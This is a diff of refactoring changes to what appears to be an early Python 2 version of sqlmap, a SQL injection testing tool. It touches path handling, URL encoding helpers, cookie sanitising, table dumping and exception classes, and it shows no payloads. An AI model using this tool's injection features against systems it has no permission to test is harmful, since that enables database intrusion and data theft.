paths.SQLMAP_CONFIG = "%s/sqlmap-%s.conf" % (paths.SQLMAP_ROOT_PATH, randomStr())
|
paths.SQLMAP_CONFIG = os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap-%s.conf" % randomStr())
|
||||||
paths.FUZZ_VECTORS = "%s/fuzz_vectors.txt" % paths.SQLMAP_TXT_PATH
|
paths.FUZZ_VECTORS = os.path.join(paths.SQLMAP_TXT_PATH, "fuzz_vectors.txt")
|
||||||
paths.ERRORS_XML = "%s/errors.xml" % paths.SQLMAP_XML_PATH
|
paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml")
|
||||||
paths.QUERIES_XML = "%s/queries.xml" % paths.SQLMAP_XML_PATH
|
paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml")
|
||||||
paths.GENERIC_XML = "%s/generic.xml" % paths.SQLMAP_XML_BANNER_PATH
|
paths.GENERIC_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml")
|
||||||
paths.MSSQL_XML = "%s/mssql.xml" % paths.SQLMAP_XML_BANNER_PATH
|
paths.MSSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mssql.xml")
|
||||||
paths.MYSQL_XML = "%s/mysql.xml" % paths.SQLMAP_XML_BANNER_PATH
|
paths.MYSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mysql.xml")
|
||||||
paths.ORACLE_XML = "%s/oracle.xml" % paths.SQLMAP_XML_BANNER_PATH
|
paths.ORACLE_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "oracle.xml")
|
||||||
paths.PGSQL_XML = "%s/postgresql.xml" % paths.SQLMAP_XML_BANNER_PATH
|
paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml")
|
||||||
|
|
||||||
|
|
||||||
def weAreFrozen():
|
def weAreFrozen():
|
||||||
"""
|
"""
|
||||||
Returns whether we are frozen via py2exe.
|
Returns whether we are frozen via py2exe.
|
||||||
@@ -568,7 +556,6 @@ def weAreFrozen():
|
|||||||
|
|
||||||
return hasattr(sys, "frozen")
|
return hasattr(sys, "frozen")
|
||||||
|
|
||||||
|
|
||||||
def parseTargetUrl():
|
def parseTargetUrl():
|
||||||
"""
|
"""
|
||||||
Parse target url and set some attributes into the configuration
|
Parse target url and set some attributes into the configuration
|
||||||
@@ -599,11 +586,10 @@ def parseTargetUrl():
|
|||||||
conf.port = 80
|
conf.port = 80
|
||||||
|
|
||||||
if __urlSplit[3]:
|
if __urlSplit[3]:
|
||||||
conf.parameters["GET"] = urldecode(__urlSplit[3]).replace("%", "%%")
|
conf.parameters["GET"] = __urlSplit[3]
|
||||||
|
|
||||||
conf.url = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, conf.path)
|
conf.url = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, conf.path)
|
||||||
|
|
||||||
|
|
||||||
def expandAsteriskForColumns(expression):
|
def expandAsteriskForColumns(expression):
|
||||||
# If the user provided an asterisk rather than the column(s)
|
# If the user provided an asterisk rather than the column(s)
|
||||||
# name, sqlmap will retrieve the columns itself and reprocess
|
# name, sqlmap will retrieve the columns itself and reprocess
|
||||||
@@ -635,8 +621,7 @@ def expandAsteriskForColumns(expression):
|
|||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
return expression
|
return expression
|
||||||
|
|
||||||
|
|
||||||
def getRange(count, dump=False, plusOne=False):
|
def getRange(count, dump=False, plusOne=False):
|
||||||
count = int(count)
|
count = int(count)
|
||||||
indexRange = None
|
indexRange = None
|
||||||
@@ -650,14 +635,13 @@ def getRange(count, dump=False, plusOne=False):
|
|||||||
if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop:
|
if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop:
|
||||||
limitStart = conf.limitStart
|
limitStart = conf.limitStart
|
||||||
|
|
||||||
if kb.dbms == "Oracle" or plusOne == True:
|
if kb.dbms == "Oracle" or plusOne:
|
||||||
indexRange = range(limitStart, limitStop + 1)
|
indexRange = range(limitStart, limitStop + 1)
|
||||||
else:
|
else:
|
||||||
indexRange = range(limitStart - 1, limitStop)
|
indexRange = range(limitStart - 1, limitStop)
|
||||||
|
|
||||||
return indexRange
|
return indexRange
|
||||||
|
|
||||||
|
|
||||||
def parseUnionPage(output, expression, partial=False, condition=None, sort=True):
|
def parseUnionPage(output, expression, partial=False, condition=None, sort=True):
|
||||||
data = []
|
data = []
|
||||||
|
|
||||||
@@ -672,7 +656,7 @@ def parseUnionPage(output, expression, partial=False, condition=None, sort=True)
|
|||||||
|
|
||||||
output = re.findall(regExpr, output, re.S)
|
output = re.findall(regExpr, output, re.S)
|
||||||
|
|
||||||
if condition == None:
|
if condition is None:
|
||||||
condition = (
|
condition = (
|
||||||
kb.resumedQueries and conf.url in kb.resumedQueries.keys()
|
kb.resumedQueries and conf.url in kb.resumedQueries.keys()
|
||||||
and expression in kb.resumedQueries[conf.url].keys()
|
and expression in kb.resumedQueries[conf.url].keys()
|
||||||
@@ -707,27 +691,25 @@ def parseUnionPage(output, expression, partial=False, condition=None, sort=True)
|
|||||||
data = data[0]
|
data = data[0]
|
||||||
|
|
||||||
return data
|
return data
|
||||||
|
|
||||||
|
|
||||||
def getDelayQuery():
|
def getDelayQuery():
|
||||||
query = None
|
query = None
|
||||||
|
|
||||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
if kb.dbms in ("MySQL", "PostgreSQL"):
|
||||||
if not kb.data.banner:
|
if not kb.data.banner:
|
||||||
conf.dbmsHandler.getVersionFromBanner()
|
conf.dbmsHandler.getVersionFromBanner()
|
||||||
|
|
||||||
banVer = kb.bannerFp["dbmsVersion"]
|
banVer = kb.bannerFp["dbmsVersion"]
|
||||||
|
|
||||||
if ( kb.dbms == "MySQL" and banVer >= "5.0.12" ) or ( kb.dbms == "PostgreSQL" and banVer >= "8.2" ):
|
if (kb.dbms == "MySQL" and banVer >= "5.0.12") or (kb.dbms == "PostgreSQL" and banVer >= "8.2"):
|
||||||
query = queries[kb.dbms].timedelay % conf.timeSec
|
query = queries[kb.dbms].timedelay % conf.timeSec
|
||||||
else:
|
else:
|
||||||
query = queries[kb.dbms].timedelay2 % conf.timeSec
|
query = queries[kb.dbms].timedelay2 % conf.timeSec
|
||||||
else:
|
else:
|
||||||
query = queries[kb.dbms].timedelay % conf.timeSec
|
query = queries[kb.dbms].timedelay % conf.timeSec
|
||||||
|
|
||||||
return query
|
return query
|
||||||
|
|
||||||
|
|
||||||
def getLocalIP():
|
def getLocalIP():
|
||||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
s.connect((conf.hostname, conf.port))
|
s.connect((conf.hostname, conf.port))
|
||||||
@@ -736,11 +718,9 @@ def getLocalIP():
|
|||||||
|
|
||||||
return ip
|
return ip
|
||||||
|
|
||||||
|
|
||||||
def getRemoteIP():
|
def getRemoteIP():
|
||||||
return socket.gethostbyname(conf.hostname)
|
return socket.gethostbyname(conf.hostname)
|
||||||
|
|
||||||
|
|
||||||
def getFileType(filePath):
|
def getFileType(filePath):
|
||||||
try:
|
try:
|
||||||
magicFileType = magic.from_file(filePath)
|
magicFileType = magic.from_file(filePath)
|
||||||
@@ -751,8 +731,7 @@ def getFileType(filePath):
|
|||||||
return "text"
|
return "text"
|
||||||
else:
|
else:
|
||||||
return "binary"
|
return "binary"
|
||||||
|
|
||||||
|
|
||||||
def pollProcess(process):
|
def pollProcess(process):
|
||||||
while True:
|
while True:
|
||||||
dataToStdout(".")
|
dataToStdout(".")
|
||||||
@@ -760,19 +739,20 @@ def pollProcess(process):
|
|||||||
|
|
||||||
returncode = process.poll()
|
returncode = process.poll()
|
||||||
|
|
||||||
if returncode != None:
|
if returncode is not None:
|
||||||
if returncode == 0:
|
if returncode == 0:
|
||||||
dataToStdout(" done\n")
|
dataToStdout(" done\n")
|
||||||
else:
|
elif returncode < 0:
|
||||||
dataToStdout(" quit unexpectedly by signal %d\n" % returncode)
|
dataToStdout(" process terminated by signal %d\n" % returncode)
|
||||||
|
elif returncode > 0:
|
||||||
|
dataToStdout(" quit unexpectedly with return code %d\n" % returncode)
|
||||||
|
|
||||||
break
|
break
|
||||||
|
|
||||||
|
|
||||||
def getCharset(charsetType=None):
|
def getCharset(charsetType=None):
|
||||||
asciiTbl = []
|
asciiTbl = []
|
||||||
|
|
||||||
if charsetType == None:
|
if charsetType is None:
|
||||||
asciiTbl = range(0, 128)
|
asciiTbl = range(0, 128)
|
||||||
|
|
||||||
# 0 or 1
|
# 0 or 1
|
||||||
@@ -806,3 +786,49 @@ def getCharset(charsetType=None):
|
|||||||
asciiTbl.extend(range(96, 123))
|
asciiTbl.extend(range(96, 123))
|
||||||
|
|
||||||
return asciiTbl
|
return asciiTbl
|
||||||
|
|
||||||
|
def searchEnvPath(fileName):
|
||||||
|
envPaths = os.environ["PATH"]
|
||||||
|
result = None
|
||||||
|
|
||||||
|
if IS_WIN:
|
||||||
|
envPaths = envPaths.split(";")
|
||||||
|
else:
|
||||||
|
envPaths = envPaths.split(":")
|
||||||
|
|
||||||
|
for envPath in envPaths:
|
||||||
|
envPath = envPath.replace(";", "")
|
||||||
|
result = os.path.exists(os.path.normpath(os.path.join(envPath, fileName)))
|
||||||
|
|
||||||
|
if result:
|
||||||
|
break
|
||||||
|
|
||||||
|
return result
|
||||||
|
|
||||||
|
def sanitizeCookie(cookieStr, warn=False):
|
||||||
|
if cookieStr:
|
||||||
|
result = ""
|
||||||
|
changed = False
|
||||||
|
for part in cookieStr.split(';'):
|
||||||
|
index = part.find('=') + 1
|
||||||
|
if index > 0:
|
||||||
|
name = part[:index - 1].strip()
|
||||||
|
value = part[index:].replace(",","%2C").replace(";","%3B").replace(" ","%20")
|
||||||
|
if value != part[index:]:
|
||||||
|
changed = True
|
||||||
|
result += ";%s=%s" % (name, value)
|
||||||
|
elif part.strip().lower() != "secure":
|
||||||
|
result += "%s%s" % ("%3B", part.replace(",","%2C").replace(";","%3B").replace(" ","%20"))
|
||||||
|
else:
|
||||||
|
result += ";secure"
|
||||||
|
if result.startswith(';'):
|
||||||
|
result = result[1:]
|
||||||
|
elif result.startswith('%3B'):
|
||||||
|
result = result[3:]
|
||||||
|
if changed and warn:
|
||||||
|
warnMsg = "cookie is provided in HTTP unsafe format containing one "
|
||||||
|
warnMsg += "of problematic characters: ' ,;'. temporary sanitized."
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
return result
|
||||||
|
else:
|
||||||
|
return None
|
||||||
|
|||||||
@@ -22,26 +22,17 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
import md5
|
||||||
try:
|
import sha
|
||||||
import md5
|
|
||||||
import sha
|
|
||||||
except DeprecationWarning, _:
|
|
||||||
from hashlib import md5
|
|
||||||
from hashlib import sha
|
|
||||||
|
|
||||||
import struct
|
import struct
|
||||||
import urllib
|
import urllib
|
||||||
|
|
||||||
|
|
||||||
def base64decode(string):
|
def base64decode(string):
|
||||||
return string.decode("base64")
|
return string.decode("base64")
|
||||||
|
|
||||||
|
|
||||||
def base64encode(string):
|
def base64encode(string):
|
||||||
return string.encode("base64")[:-1]
|
return string.encode("base64")[:-1]
|
||||||
|
|
||||||
|
|
||||||
def hexdecode(string):
|
def hexdecode(string):
|
||||||
string = string.lower()
|
string = string.lower()
|
||||||
|
|
||||||
@@ -49,45 +40,40 @@ def hexdecode(string):
|
|||||||
string = string[2:]
|
string = string[2:]
|
||||||
|
|
||||||
return string.decode("hex")
|
return string.decode("hex")
|
||||||
|
|
||||||
|
|
||||||
def hexencode(string):
|
def hexencode(string):
|
||||||
return string.encode("hex")
|
return string.encode("hex")
|
||||||
|
|
||||||
|
|
||||||
def md5hash(string):
|
def md5hash(string):
|
||||||
return md5.new(string).hexdigest()
|
return md5.new(string).hexdigest()
|
||||||
|
|
||||||
|
|
||||||
def orddecode(string):
|
def orddecode(string):
|
||||||
packedString = struct.pack("!"+"I" * len(string), *string)
|
packedString = struct.pack("!"+"I" * len(string), *string)
|
||||||
return "".join([chr(char) for char in struct.unpack("!"+"I"*(len(packedString)/4), packedString)])
|
return "".join([chr(char) for char in struct.unpack("!"+"I"*(len(packedString)/4), packedString)])
|
||||||
|
|
||||||
|
|
||||||
def ordencode(string):
|
def ordencode(string):
|
||||||
return tuple([ord(char) for char in string])
|
return tuple([ord(char) for char in string])
|
||||||
|
|
||||||
|
|
||||||
def sha1hash(string):
|
def sha1hash(string):
|
||||||
return sha.new(string).hexdigest()
|
return sha.new(string).hexdigest()
|
||||||
|
|
||||||
|
|
||||||
def urldecode(string):
|
def urldecode(string):
|
||||||
if not string:
|
result = None
|
||||||
return
|
|
||||||
|
if string:
|
||||||
doublePercFreeString = string.replace("%%", "__DPERC__")
|
result = urllib.unquote_plus(string)
|
||||||
unquotedString = urllib.unquote_plus(doublePercFreeString)
|
|
||||||
unquotedString = unquotedString.replace("__DPERC__", "%%")
|
|
||||||
|
|
||||||
return unquotedString
|
|
||||||
|
|
||||||
|
return result
|
||||||
|
|
||||||
def urlencode(string, safe=":/?%&=", convall=False):
|
def urlencode(string, safe=":/?%&=", convall=False):
|
||||||
if not string:
|
result = None
|
||||||
return
|
|
||||||
|
|
||||||
if convall == True:
|
if string is None:
|
||||||
return urllib.quote(string)
|
return result
|
||||||
|
|
||||||
|
if convall:
|
||||||
|
result = urllib.quote(string)
|
||||||
else:
|
else:
|
||||||
return urllib.quote(string, safe)
|
result = urllib.quote(string, safe)
|
||||||
|
|
||||||
|
return result
|
||||||
|
|||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
from lib.core.datatype import advancedDict
|
from lib.core.datatype import advancedDict
|
||||||
from lib.core.settings import LOGGER
|
from lib.core.settings import LOGGER
|
||||||
|
|
||||||
|
|||||||
@@ -22,10 +22,8 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
from lib.core.exception import sqlmapDataException
|
from lib.core.exception import sqlmapDataException
|
||||||
|
|
||||||
|
|
||||||
class advancedDict(dict):
|
class advancedDict(dict):
|
||||||
"""
|
"""
|
||||||
This class defines the sqlmap object, inheriting from Python data
|
This class defines the sqlmap object, inheriting from Python data
|
||||||
@@ -45,7 +43,6 @@ class advancedDict(dict):
|
|||||||
# After initialisation, setting attributes
|
# After initialisation, setting attributes
|
||||||
# is the same as setting an item
|
# is the same as setting an item
|
||||||
|
|
||||||
|
|
||||||
def __getattr__(self, item):
|
def __getattr__(self, item):
|
||||||
"""
|
"""
|
||||||
Maps values to attributes
|
Maps values to attributes
|
||||||
@@ -57,7 +54,6 @@ class advancedDict(dict):
|
|||||||
except KeyError:
|
except KeyError:
|
||||||
raise sqlmapDataException, "Unable to access item '%s'" % item
|
raise sqlmapDataException, "Unable to access item '%s'" % item
|
||||||
|
|
||||||
|
|
||||||
def __setattr__(self, item, value):
|
def __setattr__(self, item, value):
|
||||||
"""
|
"""
|
||||||
Maps attributes to values
|
Maps attributes to values
|
||||||
|
|||||||
@@ -22,16 +22,13 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
|
||||||
import os
|
import os
|
||||||
|
import re
|
||||||
|
|
||||||
from lib.core.common import dataToDumpFile
|
from lib.core.common import dataToDumpFile
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
|
|
||||||
|
|
||||||
class Dump:
|
class Dump:
|
||||||
"""
|
"""
|
||||||
This class defines methods used to parse and output the results
|
This class defines methods used to parse and output the results
|
||||||
@@ -42,8 +39,7 @@ class Dump:
|
|||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.__outputFile = None
|
self.__outputFile = None
|
||||||
self.__outputFP = None
|
self.__outputFP = None
|
||||||
|
|
||||||
|
|
||||||
def __write(self, data, n=True):
|
def __write(self, data, n=True):
|
||||||
if n:
|
if n:
|
||||||
print data
|
print data
|
||||||
@@ -55,13 +51,11 @@ class Dump:
|
|||||||
self.__outputFP.flush()
|
self.__outputFP.flush()
|
||||||
|
|
||||||
conf.loggedToOut = True
|
conf.loggedToOut = True
|
||||||
|
|
||||||
|
|
||||||
def setOutputFile(self):
|
def setOutputFile(self):
|
||||||
self.__outputFile = "%s%slog" % (conf.outputPath, os.sep)
|
self.__outputFile = "%s%slog" % (conf.outputPath, os.sep)
|
||||||
self.__outputFP = open(self.__outputFile, "a")
|
self.__outputFP = open(self.__outputFile, "a")
|
||||||
|
|
||||||
|
|
||||||
def string(self, header, data, sort=True):
|
def string(self, header, data, sort=True):
|
||||||
if isinstance(data, (list, tuple, set)):
|
if isinstance(data, (list, tuple, set)):
|
||||||
self.lister(header, data, sort)
|
self.lister(header, data, sort)
|
||||||
@@ -81,13 +75,12 @@ class Dump:
|
|||||||
self.__write("%s: '%s'\n" % (header, data))
|
self.__write("%s: '%s'\n" % (header, data))
|
||||||
else:
|
else:
|
||||||
self.__write("%s:\tNone\n" % header)
|
self.__write("%s:\tNone\n" % header)
|
||||||
|
|
||||||
|
|
||||||
def lister(self, header, elements, sort=True):
|
def lister(self, header, elements, sort=True):
|
||||||
if elements:
|
if elements:
|
||||||
self.__write("%s [%d]:" % (header, len(elements)))
|
self.__write("%s [%d]:" % (header, len(elements)))
|
||||||
|
|
||||||
if sort == True:
|
if sort:
|
||||||
try:
|
try:
|
||||||
elements = set(elements)
|
elements = set(elements)
|
||||||
elements = list(elements)
|
elements = list(elements)
|
||||||
@@ -103,8 +96,7 @@ class Dump:
|
|||||||
|
|
||||||
if elements:
|
if elements:
|
||||||
self.__write("")
|
self.__write("")
|
||||||
|
|
||||||
|
|
||||||
def userSettings(self, header, userSettings, subHeader):
|
def userSettings(self, header, userSettings, subHeader):
|
||||||
self.__areAdmins = set()
|
self.__areAdmins = set()
|
||||||
|
|
||||||
@@ -131,9 +123,13 @@ class Dump:
|
|||||||
for setting in settings:
|
for setting in settings:
|
||||||
self.__write(" %s: %s" % (subHeader, setting))
|
self.__write(" %s: %s" % (subHeader, setting))
|
||||||
print
|
print
|
||||||
|
|
||||||
|
|
||||||
def dbTables(self, dbTables):
|
def dbTables(self, dbTables):
|
||||||
|
if not isinstance(dbTables, dict):
|
||||||
|
self.string("tables", dbTables)
|
||||||
|
|
||||||
|
return
|
||||||
|
|
||||||
maxlength = 0
|
maxlength = 0
|
||||||
|
|
||||||
for tables in dbTables.values():
|
for tables in dbTables.values():
|
||||||
@@ -159,8 +155,7 @@ class Dump:
|
|||||||
self.__write("| %s%s |" % (table, blank))
|
self.__write("| %s%s |" % (table, blank))
|
||||||
|
|
||||||
self.__write("+%s+\n" % lines)
|
self.__write("+%s+\n" % lines)
|
||||||
|
|
||||||
|
|
||||||
def dbTableColumns(self, tableColumns):
|
def dbTableColumns(self, tableColumns):
|
||||||
for db, tables in tableColumns.items():
|
for db, tables in tableColumns.items():
|
||||||
if not db:
|
if not db:
|
||||||
@@ -205,8 +200,7 @@ class Dump:
|
|||||||
self.__write("| %s%s | %s%s |" % (column, blank1, colType, blank2))
|
self.__write("| %s%s | %s%s |" % (column, blank1, colType, blank2))
|
||||||
|
|
||||||
self.__write("+%s+%s+\n" % (lines1, lines2))
|
self.__write("+%s+%s+\n" % (lines1, lines2))
|
||||||
|
|
||||||
|
|
||||||
def dbTableValues(self, tableValues):
|
def dbTableValues(self, tableValues):
|
||||||
db = tableValues["__infos__"]["db"]
|
db = tableValues["__infos__"]["db"]
|
||||||
if not db:
|
if not db:
|
||||||
@@ -232,8 +226,8 @@ class Dump:
|
|||||||
|
|
||||||
for column in columns:
|
for column in columns:
|
||||||
if column != "__infos__":
|
if column != "__infos__":
|
||||||
info = tableValues[column]
|
info = tableValues[column]
|
||||||
lines = "-" * (int(info["length"]) + 2)
|
lines = "-" * (int(info["length"]) + 2)
|
||||||
separator += "+%s" % lines
|
separator += "+%s" % lines
|
||||||
|
|
||||||
separator += "+"
|
separator += "+"
|
||||||
@@ -248,19 +242,21 @@ class Dump:
|
|||||||
|
|
||||||
for column in columns:
|
for column in columns:
|
||||||
if column != "__infos__":
|
if column != "__infos__":
|
||||||
info = tableValues[column]
|
info = tableValues[column]
|
||||||
maxlength = int(info["length"])
|
maxlength = int(info["length"])
|
||||||
blank = " " * (maxlength - len(column))
|
blank = " " * (maxlength - len(column))
|
||||||
|
|
||||||
self.__write("| %s%s" % (column, blank), n=False)
|
self.__write("| %s%s" % (column, blank), n=False)
|
||||||
|
|
||||||
if not conf.multipleTargets and field == fields:
|
if not conf.multipleTargets and field == fields:
|
||||||
dataToDumpFile(dumpFP, "\"%s\"" % column)
|
dataToDumpFile(dumpFP, "\"%s\"" % column)
|
||||||
else:
|
elif not conf.multipleTargets:
|
||||||
dataToDumpFile(dumpFP, "\"%s\"," % column)
|
dataToDumpFile(dumpFP, "\"%s\"," % column)
|
||||||
|
|
||||||
field += 1
|
field += 1
|
||||||
|
|
||||||
self.__write("|\n%s" % separator)
|
self.__write("|\n%s" % separator)
|
||||||
|
|
||||||
if not conf.multipleTargets:
|
if not conf.multipleTargets:
|
||||||
dataToDumpFile(dumpFP, "\n")
|
dataToDumpFile(dumpFP, "\n")
|
||||||
|
|
||||||
@@ -279,14 +275,15 @@ class Dump:
|
|||||||
blank = " " * (maxlength - len(value))
|
blank = " " * (maxlength - len(value))
|
||||||
self.__write("| %s%s" % (value, blank), n=False)
|
self.__write("| %s%s" % (value, blank), n=False)
|
||||||
|
|
||||||
if field == fields:
|
if not conf.multipleTargets and field == fields:
|
||||||
dataToDumpFile(dumpFP, "\"%s\"" % value)
|
dataToDumpFile(dumpFP, "\"%s\"" % value)
|
||||||
else:
|
elif not conf.multipleTargets:
|
||||||
dataToDumpFile(dumpFP, "\"%s\"," % value)
|
dataToDumpFile(dumpFP, "\"%s\"," % value)
|
||||||
|
|
||||||
field += 1
|
field += 1
|
||||||
|
|
||||||
self.__write("|")
|
self.__write("|")
|
||||||
|
|
||||||
if not conf.multipleTargets:
|
if not conf.multipleTargets:
|
||||||
dataToDumpFile(dumpFP, "\n")
|
dataToDumpFile(dumpFP, "\n")
|
||||||
|
|
||||||
@@ -298,7 +295,6 @@ class Dump:
|
|||||||
|
|
||||||
logger.info("Table '%s.%s' dumped to CSV file '%s'" % (db, table, dumpFileName))
|
logger.info("Table '%s.%s' dumped to CSV file '%s'" % (db, table, dumpFileName))
|
||||||
|
|
||||||
|
|
||||||
# object to manage how to print the retrieved queries output to
|
# object to manage how to print the retrieved queries output to
|
||||||
# standard output and sessions file
|
# standard output and sessions file
|
||||||
dumper = Dump()
|
dumper = Dump()
|
||||||
|
|||||||
@@ -22,10 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import sys
|
|
||||||
|
|
||||||
from lib.core.settings import PLATFORM
|
from lib.core.settings import PLATFORM
|
||||||
from lib.core.settings import PYVERSION
|
from lib.core.settings import PYVERSION
|
||||||
from lib.core.settings import VERSION
|
from lib.core.settings import VERSION
|
||||||
@@ -35,63 +31,51 @@ from lib.core.settings import VERSION_STRING
|
|||||||
class sqlmapConnectionException(Exception):
|
class sqlmapConnectionException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
class sqlmapDataException(Exception):
|
class sqlmapDataException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
class sqlmapFilePathException(Exception):
|
class sqlmapFilePathException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
class sqlmapGenericException(Exception):
|
class sqlmapGenericException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
class sqlmapMissingDependence(Exception):
|
||||||
|
pass
|
||||||
|
|
||||||
class sqlmapMissingMandatoryOptionException(Exception):
|
class sqlmapMissingMandatoryOptionException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
class sqlmapMissingPrivileges(Exception):
|
||||||
|
pass
|
||||||
|
|
||||||
class sqlmapNoneDataException(Exception):
|
class sqlmapNoneDataException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
class sqlmapNotVulnerableException(Exception):
|
||||||
|
pass
|
||||||
|
|
||||||
class sqlmapRegExprException(Exception):
|
class sqlmapRegExprException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
class sqlmapSyntaxException(Exception):
|
class sqlmapSyntaxException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
class sqlmapUndefinedMethod(Exception):
|
|
||||||
pass
|
|
||||||
|
|
||||||
|
|
||||||
class sqlmapMissingPrivileges(Exception):
|
|
||||||
pass
|
|
||||||
|
|
||||||
|
|
||||||
class sqlmapNotVulnerableException(Exception):
|
|
||||||
pass
|
|
||||||
|
|
||||||
|
|
||||||
class sqlmapThreadException(Exception):
|
class sqlmapThreadException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
class sqlmapUndefinedMethod(Exception):
|
||||||
|
pass
|
||||||
|
|
||||||
class sqlmapUnsupportedDBMSException(Exception):
|
class sqlmapUnsupportedDBMSException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
class sqlmapUnsupportedFeatureException(Exception):
|
class sqlmapUnsupportedFeatureException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
class sqlmapValueException(Exception):
|
class sqlmapValueException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
def unhandledException():
|
def unhandledException():
|
||||||
errMsg = "unhandled exception in %s, please copy " % VERSION_STRING
|
errMsg = "unhandled exception in %s, please copy " % VERSION_STRING
|
||||||
errMsg += "the command line and the following text and send by e-mail "
|
errMsg += "the command line and the following text and send by e-mail "
|
||||||
@@ -101,12 +85,12 @@ def unhandledException():
|
|||||||
errMsg += "Operating system: %s" % PLATFORM
|
errMsg += "Operating system: %s" % PLATFORM
|
||||||
return errMsg
|
return errMsg
|
||||||
|
|
||||||
|
|
||||||
exceptionsTuple = (
|
exceptionsTuple = (
|
||||||
sqlmapConnectionException,
|
sqlmapConnectionException,
|
||||||
sqlmapDataException,
|
sqlmapDataException,
|
||||||
sqlmapFilePathException,
|
sqlmapFilePathException,
|
||||||
sqlmapGenericException,
|
sqlmapGenericException,
|
||||||
|
sqlmapMissingDependence,
|
||||||
sqlmapMissingMandatoryOptionException,
|
sqlmapMissingMandatoryOptionException,
|
||||||
sqlmapNoneDataException,
|
sqlmapNoneDataException,
|
||||||
sqlmapRegExprException,
|
sqlmapRegExprException,
|
||||||
@@ -118,4 +102,4 @@ exceptionsTuple = (
|
|||||||
sqlmapUnsupportedDBMSException,
|
sqlmapUnsupportedDBMSException,
|
||||||
sqlmapUnsupportedFeatureException,
|
sqlmapUnsupportedFeatureException,
|
||||||
sqlmapValueException,
|
sqlmapValueException,
|
||||||
)
|
)
|
||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import cookielib
|
import cookielib
|
||||||
import ctypes
|
import ctypes
|
||||||
import difflib
|
import difflib
|
||||||
@@ -31,8 +29,6 @@ import logging
|
|||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
import socket
|
import socket
|
||||||
import sys
|
|
||||||
import time
|
|
||||||
import urllib2
|
import urllib2
|
||||||
import urlparse
|
import urlparse
|
||||||
|
|
||||||
@@ -42,8 +38,7 @@ from lib.core.common import getFileType
|
|||||||
from lib.core.common import parseTargetUrl
|
from lib.core.common import parseTargetUrl
|
||||||
from lib.core.common import paths
|
from lib.core.common import paths
|
||||||
from lib.core.common import randomRange
|
from lib.core.common import randomRange
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import sanitizeCookie
|
||||||
from lib.core.common import readInput
|
|
||||||
from lib.core.common import sanitizeStr
|
from lib.core.common import sanitizeStr
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
@@ -52,6 +47,7 @@ from lib.core.data import paths
|
|||||||
from lib.core.datatype import advancedDict
|
from lib.core.datatype import advancedDict
|
||||||
from lib.core.exception import sqlmapFilePathException
|
from lib.core.exception import sqlmapFilePathException
|
||||||
